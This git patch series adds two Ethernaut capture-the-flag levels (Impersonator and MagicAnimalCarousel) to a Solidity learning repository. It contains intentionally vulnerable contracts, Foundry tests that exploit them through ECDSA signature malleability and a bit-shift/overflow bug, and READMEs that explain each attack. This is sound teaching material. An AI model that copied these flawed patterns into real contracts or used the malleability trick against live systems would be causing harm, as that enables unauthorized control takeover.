From 148afd677dc4505a5fbda2dcbd05ad7df1fc9dbe Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:13 +0800 Subject: [PATCH 1/7] Add Impersonator and ImpersonatorFactory contracts with deployment and validation logic --- src/Ethernaut/Impersonator/Impersonator.sol | 124 ++++++++++++++++++ .../Impersonator/ImpersonatorFactory.sol | 29 ++++ 2 files changed, 153 insertions(+) create mode 100644 src/Ethernaut/Impersonator/Impersonator.sol create mode 100644 src/Ethernaut/Impersonator/ImpersonatorFactory.sol diff --git a/src/Ethernaut/Impersonator/Impersonator.sol b/src/Ethernaut/Impersonator/Impersonator.sol new file mode 100644 index 0000000..43e7f9b --- /dev/null +++ b/src/Ethernaut/Impersonator/Impersonator.sol @@ -0,0 +1,124 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import "openzeppelin-contracts-08/access/Ownable.sol"; + +// SlockDotIt ECLocker factory +contract Impersonator is Ownable { + uint256 public lockCounter; + ECLocker[] public lockers; + + event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature); + + constructor(uint256 _lockCounter) { + lockCounter = _lockCounter; + } + + function deployNewLock(bytes memory signature) public onlyOwner { + // Deploy a new lock + ECLocker newLock = new ECLocker(++lockCounter, signature); + lockers.push(newLock); + emit NewLock(address(newLock), lockCounter, block.timestamp, signature); + } +} + +contract ECLocker { + uint256 public immutable lockId; + bytes32 public immutable msgHash; + address public controller; + mapping(bytes32 => bool) public usedSignatures; + + event LockInitializated(address indexed initialController, uint256 timestamp); + event Open(address indexed opener, uint256 timestamp); + event ControllerChanged(address indexed newController, uint256 timestamp); + + error InvalidController(); + error SignatureAlreadyUsed(); + + /// @notice Initializes the contract the lock + /// @param _lockId uinique lock id set by SlockDotIt's factory + /// @param _signature the signature of the initial controller + constructor(uint256 _lockId, bytes memory _signature) { + // Set lockId + lockId = _lockId; + + // Compute msgHash + bytes32 _msgHash; + assembly { + mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes + mstore(0x1C, _lockId) // 32 bytes + _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes + } + msgHash = _msgHash; + + // Recover the initial controller from the signature + address initialController = address(1); + assembly { + let ptr := mload(0x40) + mstore(ptr, _msgHash) // 32 bytes + mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v + mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r + mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s + pop( + staticcall( + gas(), // Amount of gas left for the transaction. + initialController, // Address of `ecrecover`. + ptr, // Start of input. + 0x80, // Size of input. + 0x00, // Start of output. + 0x20 // Size of output. + ) + ) + if iszero(returndatasize()) { + mstore(0x00, 0x8baa579f) // `InvalidSignature()`. + revert(0x1c, 0x04) + } + initialController := mload(0x00) + mstore(0x40, add(ptr, 128)) + } + + // Invalidate signature + usedSignatures[keccak256(_signature)] = true; + + // Set the controller + controller = initialController; + + // emit LockInitializated + emit LockInitializated(initialController, block.timestamp); + } + + /// @notice Opens the lock + /// @dev Emits Open event + /// @param v the recovery id + /// @param r the r value of the signature + /// @param s the s value of the signature + function open(uint8 v, bytes32 r, bytes32 s) external { + address add = _isValidSignature(v, r, s); + emit Open(add, block.timestamp); + } + + /// @notice Changes the controller of the lock + /// @dev Updates the controller storage variable + /// @dev Emits ControllerChanged event + /// @param v the recovery id + /// @param r the r value of the signature + /// @param s the s value of the signature + /// @param newController the new controller address + function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external { + _isValidSignature(v, r, s); + controller = newController; + emit ControllerChanged(newController, block.timestamp); + } + + function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) { + address _address = ecrecover(msgHash, v, r, s); + require(_address == controller, InvalidController()); + + bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)])); + require(!usedSignatures[signatureHash], SignatureAlreadyUsed()); + + usedSignatures[signatureHash] = true; + + return _address; + } +} diff --git a/src/Ethernaut/Impersonator/ImpersonatorFactory.sol b/src/Ethernaut/Impersonator/ImpersonatorFactory.sol new file mode 100644 index 0000000..f15cf14 --- /dev/null +++ b/src/Ethernaut/Impersonator/ImpersonatorFactory.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "../base/Level.sol"; +import "./Impersonator.sol"; + +contract ImpersonatorFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Impersonator impersonator = new Impersonator(1336); + bytes memory signature = abi.encode( + [ + uint256(11397568185806560130291530949248708355673262872727946990834312389557386886033), + uint256(54405834204020870944342294544757609285398723182661749830189277079337680158706), + uint256(27) + ] + ); + impersonator.deployNewLock(signature); + return address(impersonator); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + Impersonator instance = Impersonator(_instance); + ECLocker locker = instance.lockers(0); + return locker.controller() == address(0); + } +} From c84adcf55eab94f6e728fdfd7fa1898dc962ec4e Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:21 +0800 Subject: [PATCH 2/7] Add tests for Impersonator contract using ImpersonatorFactory --- src/Ethernaut/Impersonator/Impersonator.t.sol | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 src/Ethernaut/Impersonator/Impersonator.t.sol diff --git a/src/Ethernaut/Impersonator/Impersonator.t.sol b/src/Ethernaut/Impersonator/Impersonator.t.sol new file mode 100644 index 0000000..0bb07bc --- /dev/null +++ b/src/Ethernaut/Impersonator/Impersonator.t.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import "./ImpersonatorFactory.sol"; + +contract ImpersonatorTest is Test { + ImpersonatorFactory factory; + + function setUp() public { + factory = new ImpersonatorFactory(); + } + + function testImpersonator() public { + Impersonator impersonator = Impersonator(factory.createInstance(address(this))); + + uint256 secp256k1_n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141; + + // get the signature from the factory + bytes32 r = 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91; + bytes32 s = 0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2; + uint8 v = 27; + + s = bytes32(secp256k1_n - uint256(s)); + v = v == 27 ? 28 : 27; + + ECLocker locker = impersonator.lockers(0); + locker.changeController(v, r, s, address(0)); + + assertTrue(factory.validateInstance(payable(address(impersonator)), address(this))); + } +} From c3d1f016cd3dc44282884ad4d474134c710a9f84 Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:26 +0800 Subject: [PATCH 3/7] Add README for Impersonator contract with attack description and usage instructions --- src/Ethernaut/Impersonator/Readme.md | 42 ++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 src/Ethernaut/Impersonator/Readme.md diff --git a/src/Ethernaut/Impersonator/Readme.md b/src/Ethernaut/Impersonator/Readme.md new file mode 100644 index 0000000..aeb0cd5 --- /dev/null +++ b/src/Ethernaut/Impersonator/Readme.md @@ -0,0 +1,42 @@ +# Impersonator + +## 题目描述 + +[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x9D75AF88C98C2524600f20B614ee064aE356C19C) + +目标是使ECLocker合约中的controller地址变为零地址 + +## 运行 + +根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: + +```sh +$ cd WTF-CTF + +$ forge test -C src/Ethernaut/Impersonator -vvvvv +``` + +## 功能简述 + +要想改变`controller`的值,只能调用`changeController`函数,通过验证原始`controller`的签名,来修改`controller`地址。复用签名? + +**可锻性攻击**(Malleability Attack),利用签名的数学特性以生成替代有效签名的攻击方式。它允许攻击者在不需要私钥的情况下修改签名,同时保持签名的有效性。这种攻击方式尤其可能在区块链网络中造成交易被重复执行的漏洞,称为**交易重放攻击**。 + +secp256k1曲线(用于以太坊和比特币的ECDSA签名)具有关于x轴的对称性,因此对每个有效签名(r, s),可以通过计算(r,n-s)生成一个等效的签名。[其中“n” 指的是椭圆曲线上的一个特定参数——生成点 G 的阶。阶 n 表示将生成点重复加上自身 n 次后结果为零,通常称为曲线的“基点阶”或“生成点的阶”。] 对于 secp256k1 曲线,阶 n 是一个非常大的素数,数值为: + +``` +n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 +``` + +这导致每个原始签名都会有两个可能的签名表现形式,这在验证环节不会被视为无效。这种特性使得攻击者能够在不更改交易内容的情况下改变签名格式,从而引起交易哈希的变化。虽然交易内容没变,但不同的哈希值让交易在某些系统中可能被视为新的交易,从而导致重复支付等问题。 + +为减少这种风险,以太坊通过EIP-2规范限制了s的范围,所有 s 值大于`secp256k1n/2`的交易签名都被视为无效。这样做减少了可接受的签名数量,确保对每个r值仅有一个有效的签名,从而避免了签名的可锻性问题。 + +**然而,若直接使用ecrecover函数且未限制s值,则仍可能出现漏洞。** + +所以,解题思路就是eip-2中提到的。 + +> Allowing transactions with any s value with `0 < s < secp256k1n`, as is currently the case, opens a transaction malleability concern, as one can take any transaction, flip the s value from `s` to `secp256k1n - s`, flip the v value (`27 -> 28`, `28 -> 27`), and the resulting signature would still be valid. + +在OpenZeppelin的[ECDSA合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v5.1/contracts/utils/cryptography/ECDSA.sol#L134)中,也解释并限制了签名复用操作。 + From ab46f4209da5ad29a6ffe7afad6d2da7b6e28ae6 Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:32 +0800 Subject: [PATCH 4/7] Add MagicAnimalCarousel and MagicAnimalCarouselFactory contracts with core functionality --- .../MagicAnimalCarousel.sol | 50 +++++++++++++++++++ .../MagicAnimalCarouselFactory.sol | 28 +++++++++++ 2 files changed, 78 insertions(+) create mode 100644 src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.sol create mode 100644 src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarouselFactory.sol diff --git a/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.sol b/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.sol new file mode 100644 index 0000000..c33a4e7 --- /dev/null +++ b/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.sol @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +contract MagicAnimalCarousel { + uint16 public constant MAX_CAPACITY = type(uint16).max; + uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16; + uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160; + uint256 constant OWNER_MASK = uint256(type(uint160).max); + + uint256 public currentCrateId; + mapping(uint256 crateId => uint256 animalInside) public carousel; + + error InvalidCarouselId(); + error AnimalNameTooLong(); + + constructor() { + carousel[0] ^= 1 << 160; + } + + function setAnimalAndSpin(string calldata animal) external { + uint256 encodedAnimal = encodeAnimalName(animal) >> 16; + uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160; + + require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong()); + carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16) + | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender); + + currentCrateId = nextCrateId; + } + + function changeAnimal(string calldata animal, uint256 crateId) external { + address owner = address(uint160(carousel[crateId] & OWNER_MASK)); + if (owner != address(0)) { + require(msg.sender == owner); + } + uint256 encodedAnimal = encodeAnimalName(animal); + if (encodedAnimal != 0) { + // Replace animal + carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); + } else { + // If no animal specified keep same animal but clear owner slot + carousel[crateId] = (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK)); + } + } + + function encodeAnimalName(string calldata animalName) public pure returns (uint256) { + require(bytes(animalName).length <= 12, AnimalNameTooLong()); + return uint256(bytes32(abi.encodePacked(animalName)) >> 160); + } +} diff --git a/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarouselFactory.sol b/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarouselFactory.sol new file mode 100644 index 0000000..a729691 --- /dev/null +++ b/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarouselFactory.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "../base/Level.sol"; +import "./MagicAnimalCarousel.sol"; + +contract MagicAnimalCarouselFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + MagicAnimalCarousel magicAnimalCarousel = new MagicAnimalCarousel(); + return address(magicAnimalCarousel); + } + + function validateInstance(address payable _instance, address _player) public override returns (bool) { + _player; + MagicAnimalCarousel instance = MagicAnimalCarousel(_instance); + // Store a goat in the box + string memory goat = "Goat"; + instance.setAnimalAndSpin(goat); + + // Goat should be mutated + uint256 currentCrateId = instance.currentCrateId(); + uint256 animalInBox = instance.carousel(currentCrateId) >> 176; + uint256 goatEnc = uint256(bytes32(abi.encodePacked(goat))) >> 176; + return animalInBox != goatEnc; + } +} From 4f4c82fd18267b2d5cbdb29e1e2defe157424249 Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:36 +0800 Subject: [PATCH 5/7] Add tests for MagicAnimalCarousel using MagicAnimalCarouselFactory --- .../MagicAnimalCarousel.t.sol | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol diff --git a/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol b/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol new file mode 100644 index 0000000..b994aaf --- /dev/null +++ b/src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import "./MagicAnimalCarouselFactory.sol"; + +contract MagicAnimalCarouselTest is Test { + MagicAnimalCarouselFactory factory; + + function setUp() public { + factory = new MagicAnimalCarouselFactory(); + } + + function testMagicAnimalCarousel() public { + address magicAnimalCarousel = factory.createInstance(address(this)); + + MagicAnimalCarousel(magicAnimalCarousel).setAnimalAndSpin("WTF"); + MagicAnimalCarousel(magicAnimalCarousel).changeAnimal( + string(abi.encodePacked(hex"ffffffffffffffffffffffff")), 1 + ); + MagicAnimalCarousel(magicAnimalCarousel).setAnimalAndSpin("WTF"); + + assertTrue(factory.validateInstance(payable(address(magicAnimalCarousel)), address(this))); + } +} From 045fac8a10871442ad5873ad5e6b9a6f3c2126d5 Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:41 +0800 Subject: [PATCH 6/7] Add README for MagicAnimalCarousel with description, usage, and attack strategy --- src/Ethernaut/MagicAnimalCarousel/Readme.md | 36 +++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 src/Ethernaut/MagicAnimalCarousel/Readme.md diff --git a/src/Ethernaut/MagicAnimalCarousel/Readme.md b/src/Ethernaut/MagicAnimalCarousel/Readme.md new file mode 100644 index 0000000..dc7bb02 --- /dev/null +++ b/src/Ethernaut/MagicAnimalCarousel/Readme.md @@ -0,0 +1,36 @@ +# MagicAnimalCarousel + +## 题目描述 + +[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x68839EDF716D5Ba1fb5C1e724bF160B23fa523b5) + +目标是使MagicAnimalCarousel合约中再添加“Animal”时,将“Animal”的名称发生变化。 + +## 运行 + +根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: + +```sh +$ cd WTF-CTF + +$ forge test -C src/Ethernaut/MagicAnimalCarousel -vvvvv +``` + +## 功能简述 + +`MagicAnimalCarousel`合约中的`carousel` 映射,使用一个 `uint256` 变量存储新的动物编码、下一个动物的ID,以及调用者的地址。 + +- 存储结构 + - **位 176-255(80 位)**:动物编码。 + - **位 160-175(16 位)**:下一个动物ID。 + - **位 0-159(160 位)**:所有者地址。 + +但是,在`MagicAnimalCarouse`l合约中的`changeAnimal`函数中,用户在修改动物名称时,并没有将动物编码左移160+16位,而是左移了160位,使得我们可以通过操控动物名称,进而修改动物的编号,而动物最多有`type(uint16).max)`【0xffff】这么多,且在合约中记录动物编号的变量`nextCrateId`又是以`uint256`的变量进行存储的,所以编号可以发生上溢出。 + +攻击思路: + +1. 我们加入一个名为“WTF”动物,获得编号1。 +2. 修改编号1的动物名称为“ffffffffffffffffffffffff”【24位=20位名称+4位的下一个动物编号】。 +3. 再加入名为“WTF”动物,获得编号0xffff。 +4. 这样再加入“Goat”时,会获得编号1,再计算“Goat”的`animalInside`时的`carousel[nextCrateId]`不为空,就会获得脏数据【最早加入的“WTF”的数据】,从而将“Goat”计算后名称发生变化。 + From ea35fbbe31942d8f051a76967bd8080e4980d06d Mon Sep 17 00:00:00 2001 From: aaron Date: Mon, 18 Nov 2024 23:50:48 +0800 Subject: [PATCH 7/7] Update README to include links for Impersonator and Magic Animal Carousel --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index c5cc3bd..7a4f1fd 100644 --- a/README.md +++ b/README.md @@ -119,6 +119,8 @@ $ forge test -C ./src/Capture_the_Ether/Warmup/Deploy_a_contract -vvv - **Switch**: [代码](./src/Ethernaut/Switch/Switch.t.sol) | [文章](./src/Ethernaut/Switch/README.md) - **HigherOrder**:[代码](./src/Ethernaut/HigherOrder/HigherOrder.t.sol) | [文章](./src/Ethernaut/HigherOrder/README.md) - **Stake**: [代码](./src/Ethernaut/Stake/Stake.t.sol) | [文章](./src/Ethernaut/Stake/README.md) +- **Impersonator**: [代码](./src/Ethernaut/Impersonator/Impersonator.t.sol) | [文章](./src/Ethernaut/Impersonator/Readme.md) +- **Magic Animal Carousel**: [代码](./src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol) | [文章](./src/Ethernaut/MagicAnimalCarousel/Readme.md) ## 参考